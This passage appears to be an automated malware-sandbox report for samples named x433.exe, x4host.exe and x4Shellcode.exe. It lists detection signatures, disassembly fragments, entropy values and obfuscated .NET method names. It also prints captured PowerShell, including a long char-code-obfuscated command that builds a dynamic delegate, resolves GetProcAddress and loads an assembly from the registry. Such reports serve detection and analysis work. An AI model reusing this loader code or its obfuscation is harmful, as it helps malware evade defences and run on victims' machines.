object[5]{hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.k1dFRPlIGo1RTvRjnXMTxWfy6rA6wb04XVXXgyuhzervWpFow2aKTZxPPAhi2ObTh0OiRmNAWFz65LSgKc5e5PAg,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.NCrWGNhDUjKd4bDw1z4BZBIvFqbvbwlqLKOj3VQUYJmNb6dx8D8FECk38FnZYn3wQs7994mFYgPZWW6ZZqVhhef3,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.pCDeg8Pi40eWuzUFiMHVM4fQZLPXfikQ4VJGywZtMiDPKpgoHP1iqh3HhjRT2ndTBoGATXnC7UPztmPNrFeSPa1w,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1._9jIq11pOiUTPkTJ76ybIKboztPb3B1sCO5R9orQ37qX7P9J0r8ctqtC6Ka1YZnzF72XuHNlpWAY5dDX2mSITmSaS,etNX0TntxxQcULpBdpvLQMPzQQj7vk.ttGbKN3IQCFg51R()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[2],etNX0TntxxQcULpBdpvLQMPzQQj7vk.hzgThPBBZDd3tmW(Convert.FromBase64String(XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw System.AppDomain.Load(byte[])
Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02 System.AppDomain.Load(byte[])
Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw System.AppDomain.Load(byte[])
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02 System.AppDomain.Load(byte[])
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw System.AppDomain.Load(byte[])
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02 System.AppDomain.Load(byte[])
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: ohdrG5IJE4RXttz6wzxNRbjo11VI02

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($JhuBDoUfjiRKob,$tYvGzbpkOpfGRXdvJJH).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$nrzKdroJBYOrdatEY=$VrBFKSFCQkTmpL.Invo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](120)+''+'4'+''+[Char](115)+''+[

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:rLleiAFHAZAE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OsygfxRUYuIQnc,[Parameter(Position=1)][Type]$MbVaDjEwaI)$reLCkliZwnS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'ate'+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$reLCkliZwnS.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+'deByS'+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$reLCkliZwnS.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'deB'+'y'+''+'S'+'i'+[Char](103)+','+'N'+'ew'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$MbVaDjEwaI,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+'me'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $reLCkliZwnS.CreateType();}$GGVrSjgYYZyVF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+'e'+'m.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.Wi'+[Char](110)+'32.'+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'eth'+'o'+''+[Char](100)+''+'s'+'');$VrBFKSFCQkTmpL=$GGVrSjgYYZyVF.GetMethod(''+'G'+''+[Char](101)+'tPr'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+'s'+''

Suspicious powershell command line found

Source: unknown

Source: C:\Users\user\Desktop\x433.exe	Code function: 0_2_00007FFD9B8900BD pushad ; iretd	0_2_00007FFD9B8900C1
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042E00A push ds; ret	1_2_0042E010
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042D0B0 push ds; ret	1_2_0042D0B1
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042F161 push 100077DBh; ret	1_2_0042F16B
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042D17B push cs; ret	1_2_0042D17C
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042A34B push esi; iretd	1_2_0042A34C
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C329h; ret	1_2_0078BFF5
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C05Bh; ret	1_2_0078C0AF
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C416h; ret	1_2_0078C14F
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C6BEh; ret	1_2_0078C196
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C439h; ret	1_2_0078C1AC
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C599h; ret	1_2_0078C1E3
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C471h; ret	1_2_0078C1FB
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078BECFh; ret	1_2_0078C2FC
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C6CDh; ret	1_2_0078C390
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C2FFh; ret	1_2_0078C3AE
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C532h; ret	1_2_0078C45A
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C23Ch; ret	1_2_0078C597
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C08Dh; ret	1_2_0078C639
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C63Eh; ret	1_2_0078C67B
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078C198h; ret	1_2_0078C72A
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078CC2Ch; ret	1_2_0078CBE3
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078CBFEh; ret	1_2_0078CC1D
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0078CBD0 push 0078CBE6h; ret	1_2_0078CC40
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 0078852Eh; ret	1_2_00787F3A
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 00788514h; ret	1_2_00787F66
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 00787E66h; ret	1_2_00788057
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 0078817Ah; ret	1_2_0078808B
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 007882E5h; ret	1_2_007880D9
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 0078826Ah; ret	1_2_0078819E
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00788550 push 0078849Ch; ret	1_2_007881E4

Source: x433.exe	Static PE information: section name: .text entropy: 7.996675267651461
Source: x4Shellcode.exe.0.dr	Static PE information: section name: .reloc entropy: 7.935386017883638

Source: x4host.exe.0.dr, xfwOCj1PDUkyxHJ.cs	High entropy of concatenated method names: 'reqGHXI3G9wXso5', 'A3d5XBF2z5oVzdx', 'eM62vnBwLjHrGH0', 'a26UulBrBUIfuU8QpVdSBT5Y3', 'YnSkjpcwirB2DXcYUxXJJeLWI', 'ixkWVXbVwenR10cANu7dJKP7g', 'mYx4myPdes6v7IW2guHXEk0XM', 'USsEupRWAqKevrdsDYC30x7bu', '_6XZAKoQQgtBVHjhY9SsBP8xLt', 'vZHNXXe8F6yEh1yOyQfUiLBS9'
Source: x4host.exe.0.dr, hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.cs	High entropy of concatenated method names: 'rWnjj3kE8i3rPLazoNf2St5AvccdZSJzR', 'sK0plnUhQjmhNNHfuS67N2yUQVQz4JiDZ', '_53WT8ngowxa7xthsXFFK8XeCjlHGk5Xmj', 'QD4jyzyxsnE0p6sTm96SrGfkWZdAoVoIk'
Source: x4host.exe.0.dr, oqXYL7IBPbaOrkCLfAY49RFSxlJrU3xfS77bdqqQ5SraRAZwMVptFdt.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', '_1pKE2dRjC82lv6NlWDIGaThfWYlfx4Vo4', 'mTqpVonBrB3IDzdoyAwNFf98atXrckdFf', 'PQAExrLV3pDxmbwvvKsu4AWoINLVIjAvI', 'XPSWdY17exp3KlEhvfjyng5wzdFRgqDIo'
Source: x4host.exe.0.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	High entropy of concatenated method names: '_9KmzWj2mwalDOEBlyNP2RUmHGVJB0Z', 'oNXUpbPnIS5Rns1h69KZvbAfoRftvh', '_4jJu4Ia8z76oSV28Fbxqh2YxmM07G3', 'riqvGqOv1KqQr5kNYYUa2zhmrrkhvN', 'X1OxpIzLyhBl4TmbQKUQPdwhwgIGFJ', '_4kYSuRCBtXmtF4hZe7PcbiBTtCaVIg', '_45JikAg8ztoISYnTCTSKoerahn7Fh8', 'ftJZQZj46Ym8TmBooihlwWVW6mc6Qs', '_4mwLd6KxylnKnpZdEn9yb2RylClmkg', '_43NfPF5LUzaG2UCFRfZoKd43V2Y71J'
Source: x4host.exe.0.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	High entropy of concatenated method names: 'E6lcacwk2Om4Jre8Zxlnx2uuwE3DSa', 'nEAfdyNliOQh4RbARZ4Mjrvp3lU9pw', 'H8c3AG7ObEKhDaQZQGLQNSaeOEF1MJ', 'CPxSbcTtcwCHCECL8MoBfAM4Ty8FRv', 'hbFWqMrhwX3iTTU', 'F2nHLZLu6dLkjSs', 'ozzr0SK9SyLkHPg', 'fIUf7QsKIygwHOo', '_6ZiCijBXyYwGoVC', 'dRhGyU4nmdwkQ0r'
Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	High entropy of concatenated method names: 'MuXxwXMdWpj7xWfZCFLL3ajC86y3HE', 'Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw', 'GDO8A3hX6t4WEqwjwDmkN9QX1di8dA', '_5r19egLavdE3pWQeJ25pnksK8bXRUF', 'hTZmQb61o9zj5OrkvKSmDe6Dn0YcwV', '_8ZLzAgSEWrGxT2bsbvXNRGhoqnDFts', 'COTHbvM7SEhrqKoXNPnzOeAV5YgdKV', 'Jz8IH3YoK4J9mxv3FUpFYpuTYdowWR', 'TBxbKfZSmgHZ9whZ3JbDGlqvOrEfna', 'MhOzbgjjU4AbicRDgrjOYm29se7kjw'
Source: x4host.exe.0.dr, 2GeJGBZ9s7f00k3MrIG6jUSZ27JzDpdLtJapZiFUDiIPvwDFAaMrisXFq17tsOrZFaIFb6cVJvf4N9MUGa9BFHlG.cs	High entropy of concatenated method names: 'z1LzC6OirZQYgRajqkXBhte5gh9cv4LgGo3P1E2BJiHNBuOSiZJigIuiAkPFEDHCDVm4JYf9fwPOeIqIlhVif8jd', 'HCuQxWK61KjHlQFB3M0c4VHJAaL6HrtPZDHGB8NaNSZq6UkCD0sKzCXaSPWKon2xn7FWCpURH9umJNAI5wdFooOO', '_1WMMCf1RCWPIZjJAw5BK2pk7i0eukKPmEt4AeDUNcJ7JnLAVp1iAzXJuj91qkclSY3GnfmyL5AV9RiknQciWCej7', 'WakgiKHdUOu78VuIIKHZ8zGfJ34jFVbA1LIqQTZlGEjfUnSEU8p85cj0GZzXVZeDdbSRPUcLb8ClWbJM4VPmJ9iw', 'kYkGiTHBpkN4O55gQqmuNZa55cxWW239wKIErOIZL2UdORA3BMlJ9P29ysS8z4uHaz3WQqkwgNodyhcstP3NBaw9', 'AWq5zbRm4tFVd34LPvDKiiEM3AMmOYr01Yx2btbKOEixxWORG3DLG2pPf3JPv1GnhTWTIc3QTE7RxXDDqSUoq2sB', 'ErFN0wMw3jBZKG8RpL7gOeUUeMzXUQeuP98eTqAgR5mYRoGPnH45UPYSv89wOFV2THc6uSTjPClTbRCnZ7Qz6wKk', 'q8opKTgZkDsYXfN2NJLUEevH0yTqFb4r5IsoBmPy5iYX6ajuruWSA6kC40jSandPrrkT8GIPykkQciP4NE9snONl', 'UfyPTB51UMnUJ4m08aCQ5xJbrmtLG4', 'zoFPojQVB5ILw3JamQNmwW2ZDKvWyA'
Source: x4host.exe.0.dr, vthpzjkPbD10MqQvse8d9fgJdMuC69.cs	High entropy of concatenated method names: '_4FWlZlOv9mJvgefZ0oZnm4oehhLgu7', 'lnELcVdQS1KjcheIGYrB4ncZtrtGJ1', 'khljFe8k3eynRCcPUrTtQcLDJSfYdW', '_3pHprr9Uje78hOKmIDBwm74LcLR0gf', 'Y5J6lR8AXCpHirkDqZHu1AxA9OvKJbnJTugtJarDfVGeTU8peTob1op3HF6Nhe5YT0xNJjLPbNs6oEbgQGPe4LnhRTvQboc6N', 'bhaqJNHS2LH8epigaJtBlgMA2LQbW4n33Lgwf215UT60eyD9EHmyNDEWkVlik8c6jEl3iOysXcy9cIlscLLrmBhYyTQgafHw7', 'TlCcWOPNdmYoiwcRNmDsu3nZpJt9JjHfl647IMjnHYXDgPBs9vDpl2W2Zi09X0tLuME6YggpUOZZKmc59tFSy73v8AaSjeH3L', '_0RTp1iMhbSwasiCO1wAvDGgmeICOBLbCdi0UHWmgt5R6ftDE92322bTynImnNZe0NJWfGFeRYjPkUaF2d2N2kyeiYXBZ0Pd2s', 'ezUslj75uOCTADP6qP5EUIYwDx51Bo18aSlvhYg0ygBxP6fectATG16mbwziR5jIer6tycwZJOVw5TpWpnGDNwIfVzn5lAWLE', 'K6HJdPff3bNq0gfmsoCxocbF6Eyi361PVuyR3ArlJfkLRsWX9RI9Q9SiBYnuSiLG69BuhvE23aOFXboZJNozy7lvQoyJGQ84q'
Source: x4host.exe.0.dr, KgvNpQFD1pgyslmvoLVzYtqStdU0vY.cs	High entropy of concatenated method names: '_8OqKNdBpQOiP48byjobgpYdKjvomXU', 'bSMJ4wPTjULuRIGy20UVskepWllP8tk4XXKMa9hhWQ4xSP9EjJMUqTPO4upHSn5rtUuCwfq9Gr4oZSRYZE5uKPuqxQKdonuya', 'wKT6cqounpHYRYFCkj4gBtSbVwIDF60ELB01T92h8bh6mYlu0i92K6L8ZXsf4XHyaAi0s6qGfXrcIK6okzaEJXTR1NZBhKKJ3', 'FQKjPf2hqoC1UlXmUSQMOVlJtO41IdIgkPZql4wdu4YM059Qm8JumuCUvPqQvXel1aTrhIdZcx7JdoYlxAavrNAiKQ4Cqx3a6', 'p2o0lampFTBN00Sl2Ly0kao2KUg8HEgfgNWBsGWwrRNVRf3xcSm1prkmpTZ37cJnWU6TxDbV3JzbDLvYcTDQMtw0REG1BG3Eo'
Source: x4host.exe.0.dr, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	High entropy of concatenated method names: 'OJnYUbLkwSxKjmU6fKV2Hlw1IQDrrJ', 'tvU9fWfrnnauFESq3CZMjJqgWzCcQiVr8uOuybtYGmaAmLPTrBRbSmpeagqUwJ0IALVMMAlEq32BxT15HJetiYKVXqlBwiRN1', 'k27RKeDihzBbcaefRpL4TKPMWxclxn8k5c0RxZP7mcnpWucKutGtmjKZrYx20HvHIzkMsxzKuui79OmMLiSyzphYgEiKf93jl', 'Kdk7fsQFZWfb1NTSDwX0JpPEu3wN1ciOsKyPwnWHaTkkzFYlgvY2wLJUeOMcOnyeSOxZT6WHdCzt3OQdLa8', 'ZNCH16SUBJBa1infvnuYgiLTJaADVvvCpDUyOhAylbPs8EBspiKDd2NBofvowFjy7xlhRV6MgZ2dosI75Nq'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, xfwOCj1PDUkyxHJ.cs	High entropy of concatenated method names: 'reqGHXI3G9wXso5', 'A3d5XBF2z5oVzdx', 'eM62vnBwLjHrGH0', 'a26UulBrBUIfuU8QpVdSBT5Y3', 'YnSkjpcwirB2DXcYUxXJJeLWI', 'ixkWVXbVwenR10cANu7dJKP7g', 'mYx4myPdes6v7IW2guHXEk0XM', 'USsEupRWAqKevrdsDYC30x7bu', '_6XZAKoQQgtBVHjhY9SsBP8xLt', 'vZHNXXe8F6yEh1yOyQfUiLBS9'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.cs	High entropy of concatenated method names: 'rWnjj3kE8i3rPLazoNf2St5AvccdZSJzR', 'sK0plnUhQjmhNNHfuS67N2yUQVQz4JiDZ', '_53WT8ngowxa7xthsXFFK8XeCjlHGk5Xmj', 'QD4jyzyxsnE0p6sTm96SrGfkWZdAoVoIk'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, oqXYL7IBPbaOrkCLfAY49RFSxlJrU3xfS77bdqqQ5SraRAZwMVptFdt.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', '_1pKE2dRjC82lv6NlWDIGaThfWYlfx4Vo4', 'mTqpVonBrB3IDzdoyAwNFf98atXrckdFf', 'PQAExrLV3pDxmbwvvKsu4AWoINLVIjAvI', 'XPSWdY17exp3KlEhvfjyng5wzdFRgqDIo'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	High entropy of concatenated method names: '_9KmzWj2mwalDOEBlyNP2RUmHGVJB0Z', 'oNXUpbPnIS5Rns1h69KZvbAfoRftvh', '_4jJu4Ia8z76oSV28Fbxqh2YxmM07G3', 'riqvGqOv1KqQr5kNYYUa2zhmrrkhvN', 'X1OxpIzLyhBl4TmbQKUQPdwhwgIGFJ', '_4kYSuRCBtXmtF4hZe7PcbiBTtCaVIg', '_45JikAg8ztoISYnTCTSKoerahn7Fh8', 'ftJZQZj46Ym8TmBooihlwWVW6mc6Qs', '_4mwLd6KxylnKnpZdEn9yb2RylClmkg', '_43NfPF5LUzaG2UCFRfZoKd43V2Y71J'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	High entropy of concatenated method names: 'E6lcacwk2Om4Jre8Zxlnx2uuwE3DSa', 'nEAfdyNliOQh4RbARZ4Mjrvp3lU9pw', 'H8c3AG7ObEKhDaQZQGLQNSaeOEF1MJ', 'CPxSbcTtcwCHCECL8MoBfAM4Ty8FRv', 'hbFWqMrhwX3iTTU', 'F2nHLZLu6dLkjSs', 'ozzr0SK9SyLkHPg', 'fIUf7QsKIygwHOo', '_6ZiCijBXyYwGoVC', 'dRhGyU4nmdwkQ0r'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	High entropy of concatenated method names: 'MuXxwXMdWpj7xWfZCFLL3ajC86y3HE', 'Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw', 'GDO8A3hX6t4WEqwjwDmkN9QX1di8dA', '_5r19egLavdE3pWQeJ25pnksK8bXRUF', 'hTZmQb61o9zj5OrkvKSmDe6Dn0YcwV', '_8ZLzAgSEWrGxT2bsbvXNRGhoqnDFts', 'COTHbvM7SEhrqKoXNPnzOeAV5YgdKV', 'Jz8IH3YoK4J9mxv3FUpFYpuTYdowWR', 'TBxbKfZSmgHZ9whZ3JbDGlqvOrEfna', 'MhOzbgjjU4AbicRDgrjOYm29se7kjw'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, 2GeJGBZ9s7f00k3MrIG6jUSZ27JzDpdLtJapZiFUDiIPvwDFAaMrisXFq17tsOrZFaIFb6cVJvf4N9MUGa9BFHlG.cs	High entropy of concatenated method names: 'z1LzC6OirZQYgRajqkXBhte5gh9cv4LgGo3P1E2BJiHNBuOSiZJigIuiAkPFEDHCDVm4JYf9fwPOeIqIlhVif8jd', 'HCuQxWK61KjHlQFB3M0c4VHJAaL6HrtPZDHGB8NaNSZq6UkCD0sKzCXaSPWKon2xn7FWCpURH9umJNAI5wdFooOO', '_1WMMCf1RCWPIZjJAw5BK2pk7i0eukKPmEt4AeDUNcJ7JnLAVp1iAzXJuj91qkclSY3GnfmyL5AV9RiknQciWCej7', 'WakgiKHdUOu78VuIIKHZ8zGfJ34jFVbA1LIqQTZlGEjfUnSEU8p85cj0GZzXVZeDdbSRPUcLb8ClWbJM4VPmJ9iw', 'kYkGiTHBpkN4O55gQqmuNZa55cxWW239wKIErOIZL2UdORA3BMlJ9P29ysS8z4uHaz3WQqkwgNodyhcstP3NBaw9', 'AWq5zbRm4tFVd34LPvDKiiEM3AMmOYr01Yx2btbKOEixxWORG3DLG2pPf3JPv1GnhTWTIc3QTE7RxXDDqSUoq2sB', 'ErFN0wMw3jBZKG8RpL7gOeUUeMzXUQeuP98eTqAgR5mYRoGPnH45UPYSv89wOFV2THc6uSTjPClTbRCnZ7Qz6wKk', 'q8opKTgZkDsYXfN2NJLUEevH0yTqFb4r5IsoBmPy5iYX6ajuruWSA6kC40jSandPrrkT8GIPykkQciP4NE9snONl', 'UfyPTB51UMnUJ4m08aCQ5xJbrmtLG4', 'zoFPojQVB5ILw3JamQNmwW2ZDKvWyA'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, vthpzjkPbD10MqQvse8d9fgJdMuC69.cs	High entropy of concatenated method names: '_4FWlZlOv9mJvgefZ0oZnm4oehhLgu7', 'lnELcVdQS1KjcheIGYrB4ncZtrtGJ1', 'khljFe8k3eynRCcPUrTtQcLDJSfYdW', '_3pHprr9Uje78hOKmIDBwm74LcLR0gf', 'Y5J6lR8AXCpHirkDqZHu1AxA9OvKJbnJTugtJarDfVGeTU8peTob1op3HF6Nhe5YT0xNJjLPbNs6oEbgQGPe4LnhRTvQboc6N', 'bhaqJNHS2LH8epigaJtBlgMA2LQbW4n33Lgwf215UT60eyD9EHmyNDEWkVlik8c6jEl3iOysXcy9cIlscLLrmBhYyTQgafHw7', 'TlCcWOPNdmYoiwcRNmDsu3nZpJt9JjHfl647IMjnHYXDgPBs9vDpl2W2Zi09X0tLuME6YggpUOZZKmc59tFSy73v8AaSjeH3L', '_0RTp1iMhbSwasiCO1wAvDGgmeICOBLbCdi0UHWmgt5R6ftDE92322bTynImnNZe0NJWfGFeRYjPkUaF2d2N2kyeiYXBZ0Pd2s', 'ezUslj75uOCTADP6qP5EUIYwDx51Bo18aSlvhYg0ygBxP6fectATG16mbwziR5jIer6tycwZJOVw5TpWpnGDNwIfVzn5lAWLE', 'K6HJdPff3bNq0gfmsoCxocbF6Eyi361PVuyR3ArlJfkLRsWX9RI9Q9SiBYnuSiLG69BuhvE23aOFXboZJNozy7lvQoyJGQ84q'
